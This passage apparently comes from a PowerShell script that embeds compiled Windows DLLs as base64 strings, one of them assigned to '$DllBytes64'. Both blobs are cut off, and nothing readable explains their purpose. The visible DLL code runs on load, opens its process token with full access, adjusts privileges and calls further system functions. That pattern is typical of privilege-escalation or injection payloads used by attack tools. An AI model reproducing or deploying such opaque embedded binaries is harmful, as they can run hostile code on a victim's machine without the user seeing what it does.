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DC+MPIw/zAUMUUxYjGuMdwxdTOBM4w0tTTVNNo03zXlNXM5hTmXOak5uznhOfM5BToXOik6OzpNOl86cTqDOpU6pzq5OvA6czu8O1U8JT2fPcI9Wz7RPjo/bD+EP4s/kz+YP5w/oD/JP+8/AAAAUAAAoAAAAA0wFDAYMBwwIDAkMCgwLDAwMHowgDCEMIgwjDDyMP0wGDEfMSQxKDEsMU0xdzGpMbAxtDG4MbwxwDHEMcgxzDEWMhwyIDIkMigygzKmMrEytzLHMswy3TLlMusy9TL7MgUzCzMVMx4zKTMuMzczQTNMM4czoTO7M701xDXKNfw1YTZtNuU2/zYIN+U36jc0Ozo7PjtDOwAAAGAAAFAAAAAMMRAxFDE0MTgxPDFAMUQxaDJsMnAyiDKMMoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/AAAAcAAAzAAAABg+HD4gPiQ+KD4sPjA+ND44Pjw+QD5EPkg+TD5QPlQ+WD5cPmA+ZD5oPmw+cD50Png+fD6APoQ+iD6MPpA+lD6YPpw+oD6kPqg+rD6wPrQ+uD68PsA+xD7IPsw+0D7UPtg+3D7gPuQ+6D7sPvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP4w/kD+UP5g/AAAAgAAAaAAAAOww8DAEMQgxGDEcMSAxKDFAMUQxXDFsMXAxhDGIMZgxnDGsMbAxuDHQMRgyNDI4MkAySDJQMlQyXDJwMngyjDKoMrQy0DLcMvgyGDM4M1gzeDOYM7QzuDPYM/Qz+DMYNACQAAAUAQAACDAkMJAw0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDKIMowykDKUMpgynDKgMqQyqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwM5AzoDOwM8Az0DP0MwA0BDQINAw0EDRAOKg6rDqwOrQ6uDq8OsA6xDrIOsw62DrcOuA65DroOuw68Dr0Ovg6/DoIOww7EDsUOxg7HDsgOyQ7KDswOzQ7YDsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" $DllBytes64 = "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